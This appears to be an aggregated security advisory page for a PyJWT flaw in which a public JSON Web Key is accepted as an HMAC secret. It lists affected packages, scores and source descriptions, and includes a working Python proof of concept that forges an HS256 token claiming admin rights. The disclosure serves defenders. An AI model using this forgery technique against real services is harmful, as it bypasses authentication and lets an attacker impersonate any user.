7.4high
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
- Severity
- 7.4high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.43% (higher than 38% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-xgmm-8j9v-c9wxPYSEC-2026-179
Description
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| jpadilla pyjwt | < 2.13.0 | CVE List |
| automation-controller | Not specified Not affected: from 0:4.6.31-1.el8ap before *, from 0:4.6.31-1.el9ap before *, from 0:4.7.15-2.el9ap before * | CVE List |
| python3.12-pyjwt | Not specified Not affected: from 0:2.13.0-1.el9ap before *, from 0:2.13.0-1.el9pc before * | CVE List |
| fence-agents | Not specified Not affected: from 0:4.16.0-21.el10_2.2 before *, from 0:4.16.0-5.el10_0.11 before *, from 0:4.10.0-110.el9_8.3 before *, from 0:4.10.0-43.el9_2.23 before *, from 0:4.10.0-62.el9_4.26 before *, from 0:4.10.0-86.el9_6.18 before * | CVE List |
| python-pyjwt | Not specified Not affected: from 0:2.13.0-1.el8pc before *, from 0:2.13.0-1.el9pc before * | CVE List |
| rhaiis/vllm-rocm-rhel9 | Not specified Not affected: from 1782353093 before * | CVE List |
| rhaiis/vllm-cuda-rhel9 | Not specified Not affected: from 1782352847 before * | CVE List |
| ansible-automation-platform-25/hub-rhel8 | Not specified Not affected: from 1784050598 before * | CVE List |
| ansible-automation-platform-25/lightspeed-rhel8 | Not specified Not affected: from 1784046511 before * | CVE List |
| ansible-automation-platform-26/gateway-rhel9 | Not specified Not affected: from 1782761510 before * | CVE List |
| ansible-automation-platform-26/lightspeed-chatbot-rhel9 | Not specified Not affected: from 1782650747 before * | CVE List |
| ansible-automation-platform-26/lightspeed-rhel9 | Not specified Not affected: from 1782755166 before * | CVE List |
| ansible-automation-platform-26/mcp-tools-rhel9 | Not specified Not affected: from 1782712006 before * | CVE List |
| ansible-automation-platform-26/ee-supported-rhel9 | Not specified Not affected: from 1783981617 before * | CVE List |
| ansible-automation-platform-26/hub-rhel9 | Not specified Not affected: from 1783979593 before * | CVE List |
| ansible-automation-platform-tech-preview/metrics-service-rhel9 | Not specified Not affected: from 1783969139 before * | CVE List |
| ansible-automation-platform-27/ee-supported-rhel9 | Not specified Not affected: from 1781118924 before * | CVE List |
| ansible-automation-platform-27/hub-rhel9 | Not specified Not affected: from 1781102816 before * | CVE List |
| ansible-automation-platform-27/lightspeed-chatbot-rhel9 | Not specified Not affected: from 1781042555 before * | CVE List |
| ansible-automation-platform-27/lightspeed-rhel9 | Not specified Not affected: from 1781025813 before * | CVE List |
| ansible-automation-platform-27/mcp-tools-rhel9 | Not specified Not affected: from 1781030318 before * | CVE List |
| ansible-automation-platform-27/metrics-service-rhel9 | Not specified Not affected: from 1783920542 before * | CVE List |
| ansible-automation-platform-27/controller-rhel9 | Not specified Not affected: from 1785378052 before * | CVE List |
| ansible-automation-platform-27/gateway-rhel9 | Not specified Not affected: from 1785435970 before * | CVE List |
| mta/mta-solution-server-rhel9 | Not specified Not affected: from 1784109883 before * | CVE List |
| rhoai/odh-kserve-storage-initializer-rhel9 | Not specified Not affected: from 1783024305 before *, from 1783010225 before * | CVE List |
| rhoai/odh-llama-stack-core-rhel9 | Not specified Not affected: from 1783701598 before *, from 1786635926 before * | CVE List |
| rhoai/odh-llm-d-kv-cache-rhel9 | Not specified Not affected: from 1787169432 before * | CVE List |
| rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1787073866 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9 | Not specified Not affected: from 1787073873 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified Not affected: from 1787073459 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9 | Not specified Not affected: from 1787073611 before * | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9 | Not specified Not affected: from 1787073451 before * | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9 | Not specified Not affected: from 1787073451 before * | CVE List |
| rhoai/odh-trustyai-garak-lls-provider-dsp-rhel9 | Not specified Not affected: from 1786613209 before * | CVE List |
| rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1787121387 before * | CVE List |
| rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1787074331 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9 | Not specified Not affected: from 1787073605 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9 | Not specified Not affected: from 1787073546 before * | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9 | Not specified Not affected: from 1787073717 before * | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9 | Not specified Not affected: from 1787073713 before * | CVE List |
| rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9 | Not specified Not affected: from 1787073593 before * | CVE List |
| quay/quay-rhel8 | Not specified Not affected: from 1782487717 before *, from 1781937357 before *, from 1784351966 before *, from 1781878070 before * | CVE List |
| quay/quay-rhel9 | Not specified Not affected: from 1783955846 before *, from 1784987273 before * | CVE List |
| satellite/foreman-mcp-server-rhel9 | Not specified Not affected: from 1782739344 before * | CVE List |
| rhtas/segment-reporting-rhel9 | Not specified Not affected: from 1784016554 before * | CVE List |
| rhtas/model-transparency-rhel9 | Not specified Not affected: from 1785420425 before * | CVE List |
| openshift-lightspeed/lightspeed-ocp-rag-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-service-api-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-to-dataverse-exporter-rhel9 | Not specified | CVE List |
| rhaiis/vllm-cpu-rhel9 | Not specified | CVE List |
| rhaiis/vllm-tpu-rhel9 | Not specified | CVE List |
| rhaii/vllm-cpu-rhel9 | Not specified | CVE List |
| rhaii/vllm-gaudi-rhel9 | Not specified | CVE List |
| rhaii/vllm-neuron-rhel9 | Not specified | CVE List |
| rhaii/vllm-spyre-rhel9 | Not specified | CVE List |
| rhaii/vllm-tpu-rhel9 | Not specified | CVE List |
| ansible-automation-platform-25/ee-supported-rhel8 | Not specified | CVE List |
| ansible-automation-platform-25/lightspeed-chatbot-rhel8 | Not specified | CVE List |
| ansible-automation-platform-26/eda-controller-rhel9 | Not specified | CVE List |
| ansible-automation-platform-27/eda-controller-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-dashboard-rhel9 | Not specified | CVE List |
| rhelai3/bootc-aws-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-azure-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-azure-rocm-rhel9 | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-gaudi-rhel9 | Not specified | CVE List |
| rhelai3/bootc-gcp-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-rocm-rhel9 | Not specified | CVE List |
| llvm | Not specified | CVE List |
| llvm21 | Not specified | CVE List |
| rust | Not specified | CVE List |
| rhoai/odh-feature-server-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-agent-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-controller-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-router-rhel9 | Not specified | CVE List |
| rhoai/odh-model-registry-job-async-upload-rhel9 | Not specified | CVE List |
| rhoai/odh-vllm-gaudi-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| satellite/iop-host-inventory-rhel9 | Not specified | CVE List |
| pyjwt (PyPI) | before 2.13.0 | GitHub Advisory Database, PyPA Advisory Database |
| pyjwt_project pyjwt | before 2.13.0 | NVD |
All scores
| GitHub_M | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| redhat-SADP | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| GitHub | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| PyPA Advisory Database | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
Classification
What each source says
CVE List
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
GitHub Advisory Database
[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
NVD (es)
PyJWT es una implementación de JSON Web Token en Python. Antes de 2.13.0, cuando el verificador está decodificando JSON Web Tokens, mientras soporta tanto algoritmos asimétricos como HMAC, la biblioteca no valida el uso de JSON Web Keys en el algoritmo HMAC, permitiendo al atacante usar la clave pública del emisor como clave secreta para el algoritmo HMAC. Esta vulnerabilidad se corrige en 2.13.0.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-48526 changed 2026-09-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-xgmm-8j9v-c9wx changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-48526 changed 2026-10-26 | Public domain |
| PyPA Advisory Database | PYSEC-2026-179 changed 2026-06-02 | CC-BY-4.0 |